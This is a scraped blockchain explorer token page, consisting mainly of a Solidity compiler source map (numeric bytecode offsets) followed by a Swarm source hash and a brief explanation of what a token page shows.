19:0;;;;;;:11;:19;;;;;;;;1961:10;6103:33;;;;;;;;;6032:127;;6055:6;;6103:45;;6141:6;6103:37;:45::i;:::-;6032:8;:127::i;:::-;-1:-1:-1;6177:4:0;5836:353;;;;;:::o;8282:445::-;2242:7;2269:6;-1:-1:-1;;;;;2269:6:0;1961:10;8395:23;8387:32;;;;;;8437:9;8432:288;8452:13;;;8432:288;;;8505:48;8537:15;3409:1;8537:2;:15;:::i;:::-;8525:6;;8532:1;8525:9;;;;;;;:::i;:::-;;;;;;;:27;;;;:::i;:::-;-1:-1:-1;;;;;8505:15:0;;;;;;:9;:15;;;;;;;:19;:48::i;:::-;-1:-1:-1;;;;;8487:15:0;;;;;;:9;:15;;;;;:66;8587:50;8621:15;3409:1;8621:2;:15;:::i;:::-;8608:6;;8615:1;8608:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;8587:9;:16;8597:2;;8600:1;8597:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8587:16:0;;;;;;;;;;;;-1:-1:-1;8587:16:0;;;:20;:50::i;:::-;8568:9;:16;8578:2;;8581:1;8578:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8568:16:0;;;;;;;;;;;;-1:-1:-1;8568:16:0;:69;8672:2;;8675:1;8672:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8657:51:0;8666:4;-1:-1:-1;;;;;8657:51:0;;3409:1;8692:2;:15;;;;:::i;:::-;8679:6;;8686:1;8679:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;8657:51;;1576:25:1;;;1564:2;1549:18;8657:51:0;;;;;;;8467:3;;;;:::i;:::-;;;;8432:288;;;;8282:445;;;;;:::o;5596:232::-;5710:4;1961:10;5771:27;1961:10;5788:2;5792:5;5771:9;:27::i;8735:87::-;2155:13;:11;:13::i;:::-;8803:11:::1;::::0;;-1:-1:-1;;8788:26:0;::::1;8803:11;::::0;;::::1;8802:12;8788:26;::::0;;8735:87::o;2430:202::-;2488:9;2514:1;2519;2514:6;2510:47;;-1:-1:-1;2544:1:0;2537:8;;2510:47;2571:5;2575:1;2571;:5;:::i;:::-;2567:9;-1:-1:-1;2603:1:0;2594:5;2598:1;2567:9;2594:5;:::i;:::-;:10;2587:18;;;;:::i;2640:189::-;2698:7;2729:1;2725;:5;2718:13;;;;:::i;:::-;2742:9;2754:5;2758:1;2754;:5;:::i;:::-;2742:17;-1:-1:-1;2791:5:0;2795:1;2791;:5;:::i;:::-;2782;2786:1;2782;:5;:::i;:::-;:15;;;;:::i;:::-;2777:1;:20;2770:28;;;;:::i;:::-;2816:5;2820:1;2816;:5;:::i;:::-;2809:12;2640:189;-1:-1:-1;;;;2640:189:0:o;2968:147::-;3026:7;;3058:5;3062:1;3058;:5;:::i;:::-;3046:17;;3086:1;3081;:6;;3074:14;;;;:::i;:::-;3106:1;2968:147;-1:-1:-1;;;2968:147:0:o;7445:369::-;-1:-1:-1;;;;;7572:19:0;;7564:68;;;;-1:-1:-1;;;7564:68:0;;6820:2:1;7564:68:0;;;6802:21:1;6859:2;6839:18;;;6832:30;6898:34;6878:18;;;6871:62;-1:-1:-1;;;6949:18:1;;;6942:34;6993:19;;7564:68:0;;;;;;;;;-1:-1:-1;;;;;7651:21:0;;7643:68;;;;-1:-1:-1;;;7643:68:0;;7225:2:1;7643:68:0;;;7207:21:1;7264:2;7244:18;;;7237:30;7303:34;7283:18;;;7276:62;-1:-1:-1;;;7354:18:1;;;7347:32;7396:19;;7643:68:0;7023:398:1;7643:68:0;-1:-1:-1;;;;;7722:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7774:32;;1576:25:1;;;7774:32:0;;1549:18:1;7774:32:0;;;;;;;7445:369;;;:::o;6197:1039::-;-1:-1:-1;;;;;6286:18:0;;6278:68;;;;-1:-1:-1;;;6278:68:0;;7628:2:1;6278:68:0;;;7610:21:1;7667:2;7647:18;;;7640:30;7706:34;7686:18;;;7679:62;-1:-1:-1;;;7757:18:1;;;7750:35;7802:19;;6278:68:0;7426:401:1;6278:68:0;-1:-1:-1;;;;;6365:16:0;;6357:64;;;;-1:-1:-1;;;6357:64:0;;8034:2:1;6357:64:0;;;8016:21:1;8073:2;8053:18;;;8046:30;8112:34;8092:18;;;8085:62;-1:-1:-1;;;8163:18:1;;;8156:33;8206:19;;6357:64:0;7832:399:1;6357:64:0;6459:6;6440:15;6450:4;-1:-1:-1;;;;;5353:18:0;5321:7;5353:18;;;:9;:18;;;;;;;5202:177;6440:15;:25;;6432:76;;;;-1:-1:-1;;;6432:76:0;;8438:2:1;6432:76:0;;;8420:21:1;8477:2;8457:18;;;8450:30;8516:34;8496:18;;;8489:62;-1:-1:-1;;;8567:18:1;;;8560:36;8613:19;;6432:76:0;8236:402:1;6432:76:0;-1:-1:-1;;;;;6557:22:0;;6519:17;6557:22;;;:16;:22;;;;;;;;6556:23;:48;;;;-1:-1:-1;;;;;;6584:20:0;;;;;;:16;:20;;;;;;;;6583:21;6556:48;6553:330;;;6629:11;;;;6621:53;;;;-1:-1:-1;;;6621:53:0;;8845:2:1;6621:53:0;;;8827:21:1;8884:2;8864:18;;;8857:30;8923:31;8903:18;;;8896:59;8972:18;;6621:53:0;8643:353:1;6621:53:0;6722:3;6710:9;;6701:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;6749:13;;6689:36;;-1:-1:-1;;;;;;6749:13:0;;;6743:19;;;;6740:132;;6817:3;6804:10;;6795:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;6783:37;;6839:17;6851:4;6839:11;:17::i;:::-;6898:13;;6895:164;;6971:4;6953:24;;;;:9;:24;;;;;;:34;;6978:9;;6953:34;:::i;:::-;6946:4;6928:24;;;;:9;:24;;;;;;;:59;;;;7007:40;;-1:-1:-1;;;;;7007:40:0;;;;;;;7037:9;1576:25:1;;1564:2;1549:18;;1430:177;7007:40:0;;;;;;;;6895:164;7106:6;7088:15;7098:4;-1:-1:-1;;;;;5353:18:0;5321:7;5353:18;;;:9;:18;;;;;;;5202:177;7088:15;:24;;;;:::i;:::-;-1:-1:-1;;;;;7071:15:0;;;;;;:9;:15;;;;;:41;7155:18;7164:9;7155:6;:18;:::i;:::-;-1:-1:-1;;;;;7138:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;7124:13:0;;;;;;;:9;:13;;;;;:50;;;;7190:38;;;7209:18;7218:9;7209:6;:18;:::i;:::-;7190:38;;1576:25:1;;;1564:2;1549:18;7190:38:0;;;;;;;6267:969;6197:1039;;;:::o;2837:123::-;2895:7;2927:1;2922;:6;;2915:14;;;;:::i;:::-;2947:5;2951:1;2947;:5;:::i;2291:108::-;2355:6;;-1:-1:-1;;;;;2355:6:0;1961:10;2355:22;2347:44;;;;-1:-1:-1;;;2347:44:0;;9336:2:1;2347:44:0;;;9318:21:1;9375:1;9355:18;;;9348:29;-1:-1:-1;;;9393:18:1;;;9386:39;9442:18;;2347:44:0;9134:332:1;2347:44:0;2291:108::o;7897:244::-;-1:-1:-1;;;;;5353:18:0;;7974:1;5353:18;;;:9;:18;;;;;;7958:17;7955:178;;7997:11;;;;7992:130;;8029:18;8040:6;;8029:10;:18::i;:::-;7897:244;:::o;7992:130::-;8088:18;8099:6;;8149:125;8226:4;8212:11;:18;8208:59;;;8247:8;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2134:186::-;2193:6;2246:2;2234:9;2225:7;2221:23;2217:32;2214:52;;;2262:1;2259;2252:12;2214:52;2285:29;2304:9;2285:29;:::i;2533:367::-;2596:8;2606:6;2660:3;2653:4;2645:6;2641:17;2637:27;2627:55;;2678:1;2675;2668:12;2627:55;-1:-1:-1;2701:20:1;;2744:18;2733:30;;2730:50;;;2776:1;2773;2766:12;2730:50;2813:4;2805:6;2801:17;2789:29;;2873:3;2866:4;2856:6;2853:1;2849:14;2841:6;2837:27;2833:38;2830:47;2827:67;;;2890:1;2887;2880:12;2827:67;2533:367;;;;;:::o;2905:847::-;3036:6;3044;3052;3060;3068;3121:2;3109:9;3100:7;3096:23;3092:32;3089:52;;;3137:1;3134;3127:12;3089:52;3160:29;3179:9;3160:29;:::i;:::-;3150:39;;3240:2;3229:9;3225:18;3212:32;3263:18;3304:2;3296:6;3293:14;3290:34;;;3320:1;3317;3310:12;3290:34;3359:70;3421:7;3412:6;3401:9;3397:22;3359:70;:::i;:::-;3448:8;;-1:-1:-1;3333:96:1;-1:-1:-1;3536:2:1;3521:18;;3508:32;;-1:-1:-1;3552:16:1;;;3549:36;;;3581:1;3578;3571:12;3549:36;;3620:72;3684:7;3673:8;3662:9;3658:24;3620:72;:::i;:::-;2905:847;;;;-1:-1:-1;2905:847:1;;-1:-1:-1;3711:8:1;;3594:98;2905:847;-1:-1:-1;;;2905:847:1:o;3757:260::-;3825:6;3833;3886:2;3874:9;3865:7;3861:23;3857:32;3854:52;;;3902:1;3899;3892:12;3854:52;3925:29;3944:9;3925:29;:::i;:::-;3915:39;;3973:38;4007:2;3996:9;3992:18;3973:38;:::i;:::-;3963:48;;3757:260;;;;;:::o;4022:127::-;4083:10;4078:3;4074:20;4071:1;4064:31;4114:4;4111:1;4104:15;4138:4;4135:1;4128:15;4154:422;4243:1;4286:5;4243:1;4300:270;4321:7;4311:8;4308:21;4300:270;;;4380:4;4376:1;4372:6;4368:17;4362:4;4359:27;4356:53;;;4389:18;;:::i;:::-;4439:7;4429:8;4425:22;4422:55;;;4459:16;;;;4422:55;4538:22;;;;4498:15;;;;4300:270;;;4304:3;4154:422;;;;;:::o;4581:806::-;4630:5;4660:8;4650:80;;-1:-1:-1;4701:1:1;4715:5;;4650:80;4749:4;4739:76;;-1:-1:-1;4786:1:1;4800:5;;4739:76;4831:4;4849:1;4844:59;;;;4917:1;4912:130;;;;4824:218;;4844:59;4874:1;4865:10;;4888:5;;;4912:130;4949:3;4939:8;4936:17;4933:43;;;4956:18;;:::i;:::-;-1:-1:-1;;5012:1:1;4998:16;;5027:5;;4824:218;;5126:2;5116:8;5113:16;5107:3;5101:4;5098:13;5094:36;5088:2;5078:8;5075:16;5070:2;5064:4;5061:12;5057:35;5054:77;5051:159;;;-1:-1:-1;5163:19:1;;;5195:5;;5051:159;5242:34;5267:8;5261:4;5242:34;:::i;:::-;5312:6;5308:1;5304:6;5300:19;5291:7;5288:32;5285:58;;;5323:18;;:::i;:::-;5361:20;;4581:806;-1:-1:-1;;;4581:806:1:o;5392:140::-;5450:5;5479:47;5520:4;5510:8;5506:19;5500:4;5479:47;:::i;5537:168::-;5577:7;5643:1;5639;5635:6;5631:14;5628:1;5625:21;5620:1;5613:9;5606:17;5602:45;5599:71;;;5650:18;;:::i;:::-;-1:-1:-1;5690:9:1;;5537:168::o;5710:127::-;5771:10;5766:3;5762:20;5759:1;5752:31;5802:4;5799:1;5792:15;5826:4;5823:1;5816:15;5842:135;5881:3;5902:17;;;5899:43;;5922:18;;:::i;:::-;-1:-1:-1;5969:1:1;5958:13;;5842:135::o;5982:127::-;6043:10;6038:3;6034:20;6031:1;6024:31;6074:4;6071:1;6064:15;6098:4;6095:1;6088:15;6114:120;6154:1;6180;6170:35;;6185:18;;:::i;:::-;-1:-1:-1;6219:9:1;;6114:120::o;6239:127::-;6300:10;6295:3;6291:20;6288:1;6281:31;6331:4;6328:1;6321:15;6355:4;6352:1;6345:15;6371:112;6403:1;6429;6419:35;;6434:18;;:::i;:::-;-1:-1:-1;6468:9:1;;6371:112::o;6488:125::-;6553:9;;;6574:10;;;6571:36;;;6587:18;;:::i;9001:128::-;9068:9;;;9089:11;;;9086:37;;;9103:18;;:::i
Swarm Source
ipfs://bba0fe6cdf67c2881f521d6e2b77802510d9b2e29708aa7369da4ead28ad1eed
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.